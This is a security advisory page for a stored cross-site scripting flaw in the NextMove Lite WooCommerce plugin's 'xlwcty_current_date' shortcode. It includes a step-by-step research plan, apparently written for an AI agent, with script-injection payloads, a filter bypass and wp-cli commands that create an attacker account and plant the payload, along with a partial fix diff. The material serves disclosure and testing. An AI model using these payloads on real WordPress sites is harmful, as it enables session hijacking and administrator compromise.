NextMove Lite - Thank You Page for WooCommerce <= 2.23.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'xlwcty_current_date' Shortcode
Description
The NextMove Lite – Thank You Page for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'xlwcty_current_date' shortcode in all versions up to, and including, 2.23.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.23.0What Changed in the Fix
Changes introduced in v2.24.0
Source Code
WordPress.org SVN# Research Plan: CVE-2026-0703 - NextMove Lite Stored XSS via Shortcode ## 1. Vulnerability Summary The **NextMove Lite – Thank You Page for WooCommerce** plugin (versions <= 2.23.0) is vulnerable to Stored Cross-Site Scripting (XSS) via the `xlwcty_current_date` shortcode. The vulnerability exists…
Show full research plan
Research Plan: CVE-2026-0703 - NextMove Lite Stored XSS via Shortcode
1. Vulnerability Summary
The NextMove Lite – Thank You Page for WooCommerce plugin (versions <= 2.23.0) is vulnerable to Stored Cross-Site Scripting (XSS) via the xlwcty_current_date shortcode. The vulnerability exists because the plugin fails to properly sanitize or escape user-supplied attributes within the shortcode's rendering logic. An authenticated attacker with Contributor level permissions (who can create posts but cannot use unfiltered_html) can inject malicious JavaScript into a post or page using this shortcode. The script will execute in the browser of any user (including administrators) who views the affected page.
2. Attack Vector Analysis
- Shortcode Name:
xlwcty_current_date - Vulnerable Attribute: Likely
format,prefix, orsuffix(inferred based on date shortcode patterns). - Authentication Level: Authenticated (Contributor+).
- Preconditions: The plugin must be active. WooCommerce is likely required as a dependency for this plugin to function fully, but the shortcode rendering may be independent.
- Endpoint: The standard WordPress post/page editor or any area where shortcodes are processed.
3. Code Flow
- Registration: The plugin registers the shortcode (likely in a frontend-facing class or during
init) usingadd_shortcode( 'xlwcty_current_date', [ $this, 'render_current_date' ] ). - Processing: When a post is rendered, WordPress identifies the
[xlwcty_current_date]tag and calls the associated callback function. - Attribute Handling: The callback function extracts attributes using
shortcode_atts(). - Sink: One or more of these attributes (e.g., a custom date format string or a wrapper) is concatenated into the return string without being passed through escaping functions like
esc_html(),esc_attr(), orwp_kses(). - Output: The final HTML string containing the malicious script is returned to the WordPress content filter and rendered in the browser.
4. Nonce Acquisition Strategy
This vulnerability involves Stored XSS via a shortcode.
- Post Creation: To store the payload, a Contributor creates a post. This can be done via
wp-cliin the test environment (bypassing the need for CSRF nonces) or via the REST API/Classic Editor. - Rendering: No nonce is required to trigger the XSS. The shortcode is executed automatically when the page is viewed.
- Plugin-Specific Nonces: While
xlwcty-admin-app.jslocalizesxlwctyParamswithajax_nonce,search_products_nonce, andajax_chosen, these are for admin-side AJAX operations and are not required for exploiting the shortcode rendering on the frontend.
5. Exploitation Strategy
- Preparation: Identify the exact attributes accepted by the
xlwcty_current_dateshortcode. Standard date shortcodes often useformat. - Payload Construction:
- Primary Payload:
[xlwcty_current_date format='<script>alert(document.domain)</script>'] - Note: Since PHP's
date()function might mangle the script tags if they are used as the format string, try escaping characters or using supplementary attributes if they exist (e.g.,beforeorafter). - Alternative Payload:
[xlwcty_current_date format='\" autofocus onfocus=alert(1) '](If the attribute is reflected inside an HTML tag).
- Primary Payload:
- Injection: Use
wp-clito create a post as a contributor with the shortcode. - Trigger: Use
http_requestto fetch the permalink of the newly created post. - Exfiltration/Impact: In a real scenario, this would be used to steal cookies or perform CSRF against an admin. For the PoC,
alert()or a console log is sufficient.
6. Test Data Setup
Perform the following via wp_cli:
- Create Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Create Malicious Post:
wp post create --post_type=post --post_status=publish --post_title="Thank You Date" --post_author=$(wp user get attacker --field=ID) --post_content='[xlwcty_current_date format="<script>console.log(\"XSS_TRIGGERED\")</script>"]' - Identify URL:
wp post list --post_type=post --field=url --title="Thank You Date"
7. Expected Results
- When the post is requested via
http_request, the response body should contain the literal string:<script>console.log("XSS_TRIGGERED")</script>. - The script should not be entity-encoded (e.g., no
<script>).
8. Verification Steps
- HTML Inspection: Use
http_requestto get the page content and grep for the payload:# (Pseudocode for agent) response = http_request(post_url) if '<script>console.log("XSS_TRIGGERED")</script>' in response.body: print("Vulnerability Confirmed: Unescaped shortcode attribute found in output.") - Browser Execution: Use
browser_navigate(post_url)and check for the console message or an alert.
9. Alternative Approaches
If the format attribute is processed by PHP's date() function (which would replace 's', 'c', 'r', 'i', 'p', 't' with date values):
- Bypass: Use the backslash to escape every character in the format string:
[xlwcty_current_date format='\<\s\c\r\i\p\t\>\a\l\e\r\t\(\1\)\<\/\s\c\r\i\p\t\>'] - Search for other attributes: Check if the plugin supports
prefix,suffix,before, orafterattributes, which are likely concatenated directly without being passed throughdate().
Example:[xlwcty_current_date suffix='<script>alert(1)</script>'] - Admin-Side Stored XSS: If the shortcode is used within the plugin's "Thank You Page" settings (which are managed in the admin dashboard), check if a Contributor can access those settings via the AJAX actions defined in
xlwcty-admin.php(e.g.,xlwcty_change_rule_type). However, the shortcode in post content is the most direct path.
Summary
The NextMove Lite – Thank You Page for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'xlwcty_current_date' shortcode in versions up to and including 2.23.0. This vulnerability allows authenticated attackers with Contributor-level permissions to inject malicious scripts into posts or pages via unescaped shortcode attributes, which then execute in the context of any user viewing the page.
Security Fix
@@ -59,7 +59,7 @@ if (!(typeof pagenow !== "undefined" && pagenow === "xlwcty_thankyou")) { return; } - $('#xlwcty_settings_location').on('change',function () { + $('#xlwcty_settings_location').on('change', function () { if ($(this).val() == 'custom:custom') { $('.xlwcty-settings-custom').show(); } else { @@ -83,12 +83,12 @@ $("select.ajax_chosen_select_products").xlAjaxChosen({ method: 'GET', - url: xlwctyParams.ajax_url, + url: (typeof xlwctyParams !== 'undefined' && xlwctyParams.ajax_url) ? xlwctyParams.ajax_url : (typeof ajaxurl !== 'undefined' ? ajaxurl : '/wp-admin/admin-ajax.php'), dataType: 'json', afterTypeDelay: 100, data: { action: 'woocommerce_json_search_products_and_variations', - security: xlwctyParams.search_products_nonce + security: (typeof xlwctyParams !== 'undefined' && xlwctyParams.search_products_nonce) ? xlwctyParams.search_products_nonce : '' } }, function (data) { ... (truncated)
Exploit Outline
The exploitation of this vulnerability requires an authenticated user with at least Contributor-level access. The attacker creates a new post or edits an existing one and inserts the plugin's '[xlwcty_current_date]' shortcode. By supplying a malicious JavaScript payload within attributes that are concatenated into the output without proper escaping (such as 'format', 'prefix', or 'suffix'), the attacker ensures the payload is stored in the database. A sample payload would be: [xlwcty_current_date suffix='<script>alert(document.domain)</script>']. When an administrator or any site visitor navigates to the affected post, the shortcode logic executes server-side, rendering the unescaped script tag directly into the HTML response, which then executes the malicious JavaScript in the visitor's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.